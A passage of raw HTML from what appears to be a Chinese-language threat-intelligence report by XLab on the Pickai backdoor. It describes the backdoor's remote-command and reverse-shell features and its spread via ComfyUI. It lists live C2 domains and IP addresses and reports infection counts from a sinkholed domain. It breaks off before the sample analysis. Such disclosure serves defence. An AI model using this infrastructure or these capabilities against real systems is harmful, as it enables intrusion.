sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 17px;">。</span></span></div><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 17px;">Pickai是一个由C++编写的轻量级后门程序，主要功能包括远程命令执行和反弹shell。麻雀虽小，但五内脏俱全，Pickai具有较强的隐蔽性，健壮性以及持久化能力。在主机行为层面，它支持反调试、进程伪装和多种持久化机制；在网络通信层面，虽然未采用加密算法，但内置了多个C2（命令与控制）服务器作为冗余备份，定时检测C2可用性，自动切换以维持控制链路的稳定。</span></span></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 17px;">在逆向分析过程中，我们发现Pickai的一个C2域名 </span></span><strong><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 17px;font-weight: bold;">h67t48ehfth8e.com</span></span></strong><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 17px;"> 处于未注册状态后，立即进行了抢注。通过接管该域名，我们成功获取了部分威胁视野，数据显示全球共有695台服务器被感染。Pickai的作者发现这一情况后，马上更新样本，投入一个有效期长达5年的C2 域名 </span></span><strong><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 17px;font-weight: bold;">historyandresearch.com</span></span></strong><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 17px;">，表现出一种针锋相对的对抗姿态。</span></span></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 17px;">另外值得注意的是Pickai 的恶意样本托管在电商赋能平台 </span></span><strong><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 17px;">Rubick.ai</span></span></strong><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 17px;"> 的官方网站。Rubick是一家AI电子商务公司，它的业务覆盖美国、印度、新加坡、中东等国际市场。从官网和其他的公开信息来看，Rubick已为200多家领先的电子商务品牌提供服务，部分知名客户包括：</span></span></p><ul style="list-style-type: disc;" class="list-paddingleft-1"><li><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 17px;">亚马逊（Amazon）：利用 </span><span textstyle="" style="font-size: 17px;font-weight: bold;">Rubick.ai</span><span textstyle="" style="font-size: 17px;"> 的目录管理服务优化其产品数据。</span></span></p></li><li><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 17px;">The Luxury Closet（阿联酋）：奢侈品电商，使用其 AI 工具进行图像编辑和产品属性提取</span></span></p></li><li><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 17px;">Hudson Bay：北美零售商，使用其 PIM 和营销工具提升产品展示效率。</span></span></p></li><li><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 17px;">Myntra：印度领先的时尚电商平台，依赖 Rubick.ai 的目录管理服务处理超过 700 万个 SKU</span></span></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><br/></span></p></li></ul><div data-pm-slice="0 0 []"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 17px;font-weight: bold;">Rubick.ai</span><span textstyle="" style="font-size: 17px;">作为众多客户的 upstream 服务提供商，它被黑客入侵就意味着它的产品、服务都有可能被值入恶意代码，带来严重的</span></span><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 17px;">供应链攻击</span></span></p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 17px;">风险。再考虑到当前安全厂商对 Pickai 样本的检测多为泛型（Generic）结果，且大量 C2 服务器尚未被有效标记。我们决定撰写本文向社区分享这一发现，共同维护网络安全。</span></span></div><h1><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 24px;font-weight: bold;">时间线</span></span></h1><h1><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><br/></span></h1><ul class="list-paddingleft-1"><li><div><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 17px;">2025年2月28日，Pickai的早期版本从香港上传到VT，使用的C2为</span></span><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 17px;font-weight: bold;">195.43.6.252</span></span></p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 17px;">。</span></span></div></li><li><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 17px;">2025年3月17日，XLab首次捕获通过ComfyUI漏洞传播Pickai的Payload。</span></span><span leaf=""><br/></span><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><img data-imgfileid="100000364" alt="pickai.tmux.png" class="rich_pages wxw-img" data-ratio="0.2777777777777778" data-type="png" data-w="1080" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 20px;margin: 0px;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=24fc6d41&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbia1sTHw1sdfUY1kvJ0gKtnpicRVOtz6ckA6rVw8NibVvPJhEw2cAH0rN9TDGyomXuBmGxCDxhPibCAUQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p></li><li><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 17px;">2025年5月3日，XLab向Rubick.ai通告被入侵，遗憾的是该公司并未回应。</span></span><span leaf=""><br/></span><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><img data-imgfileid="100000363" alt="pickai_email.png" class="rich_pages wxw-img" data-ratio="0.24444444444444444" data-type="png" data-w="1080" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 20px;margin: 0px;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=6602ca53&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbia1sTHw1sdfUY1kvJ0gKtnpqWpLibCShAE8B3oDqRklCR46ibsZiakCGAq08HlLFAuhtSEWad64PUQyA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p></li><li><div><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 17px;">2025年5月26日，XLab监测到Pickai的另一个下载服务器</span></span><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 17px;font-weight: bold;">78.47.151.49</span></span></p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 17px;">。</span></span></div><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><br/></span></p></li></ul><h1><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 24px;font-weight: bold;">感染分布与基础设施</span></span></h1><h1><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><br/></span></h1><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 17px;">2025年3月17日，我们对C2 </span></span><strong><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 17px;font-weight: bold;">h67t48ehfth8e.com</span></span></strong><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 17px;">进行抢注，依托于该域名，我们获得了Pickai后门的部分感染视野。从数据来看，全球有近700台设备被感染，主要分布在德国，美国和中国。</span></span></p><p style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" nodeleaf=""><img data-imgfileid="100000361" alt="pickai_stat.png" class="rich_pages wxw-img" data-ratio="0.5383720930232558" data-type="png" data-w="860" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=b3598d54&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbia1sTHw1sdfUY1kvJ0gKtnpTOhicCl5Ah3vglib61yK0w7kkNoBflKF0JyYy3WHxQRBYvK0Yrpv85BQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 17px;">Pickai对于C2的访问是有先后顺序的，其中h67t48ehfth8e的优先级最低。4月13日以及5月5日两天出现Spike，峰值超过400。我们认为，该数字体现了Pickai真实的日活。Spike的原因是在那两天其余C2出现故障，从而使得h67t48ehfth8e有机会一窥全貌。</span></span></p><p style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" nodeleaf=""><img data-imgfileid="100000360" alt="pickai_ips.png" class="rich_pages wxw-img" data-ratio="0.4928104575163399" data-type="png" data-w="765" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=7f2ea531&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbia1sTHw1sdfUY1kvJ0gKtnppTicicXFicR4RGj8w7ia4So3PyhtiaoGjLYib1CqCLajjAkUT9SK9wPicBPwQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 17px;">Pickai样本更新后，引入一个有效期长达5年的C2 </span></span><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 17px;">historyandresearch.com</span></span></p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 17px;">,该域名的构词，以及没有开启DNS解析的行为，都像是对我们抢注行为的回应。我们推测攻击者的心理活动是这样的：</span></span></div><blockquote><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 17px;">&#34;XLab你们不是挺能抢注域名嘛，来，我整个5年有效期的C2，再抢过去给我看看？！哈哈，我就是要挑衅你们，把你们气个半死却拿我没办法，爽！&#34;</span></span></p></blockquote><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 17px;">对此，我们只想说，“不能接管这个域名，我们可以曝光其他的C2呀！”。目前Pickai的C2服务器虽然检测率接近零，但相信安全社区很快就会让它的作者明白：恶意软件的生存周期，从来都是由防御者书写的。</span></span></p><p style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" nodeleaf=""><img data-imgfileid="100000362" alt="pickai_vt.png" class="rich_pages wxw-img" data-ratio="0.38425925925925924" data-type="png" data-w="1080" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=32798671&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbia1sTHw1sdfUY1kvJ0gKtnpTkJW3wU1CHPAMLVuqFnPZXYrYqzAGtQthWHUABwxVlTag01Rbtxiapw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h1 data-pm-slice="0 0 []"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 24px;font-weight: bold;">样本分析</span></span></h1><h1 data-pm-slice="0 0 []"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><br/></span></h1><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 